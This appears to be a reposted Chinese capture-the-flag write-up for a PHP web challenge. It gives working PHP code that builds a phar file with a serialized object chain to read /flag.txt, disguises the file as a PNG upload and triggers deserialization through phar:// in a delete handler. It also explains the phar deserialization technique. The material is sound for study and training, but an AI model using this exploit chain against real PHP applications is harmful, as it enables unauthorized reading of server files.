BUUCTF | [CISCN2019 華北賽區 Day1 Web1]Dropbox


步驟:

1.運行這個:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();

$phar = new Phar("phar.phar"); //后綴名必須為phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($a); //將自定義的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>

生成一個phar.phar文件:

注意要設置:phar.readonly = Off。PS:一開始我用的是PHP7無法生成,后來改成PHP5便可以了

 2.更改Content-Type為image/png然后上傳

 3.在delete里面讀取phar得到flag

 解析[phar]:

php一大部分的文件系統函數在通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化,其中就有file_get_contents() ,所以我們可以把一個序列化的對象,儲存在phar格式的文件中

將phar偽造成其他格式的文件:php識別phar文件是通過其文件頭的stub,更確切一點來說是__HALT_COMPILER();?>這段代碼,對前面的內容或者后綴名是沒有要求的。那么我們就可以通過添加任意的文件頭+修改后綴名的方式將phar文件偽裝成其他格式的文件。

整體思路是:通過User調用File中的close()讀取flag但是要經FileList繞一下,不然沒有回顯

 

 詳細走大佬連接


 

參考:

https://blog.csdn.net/weixin_44077544/article/details/102844554

https://www.cnblogs.com/kevinbruce656/p/11316070.html

https://xz.aliyun.com/t/2715


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM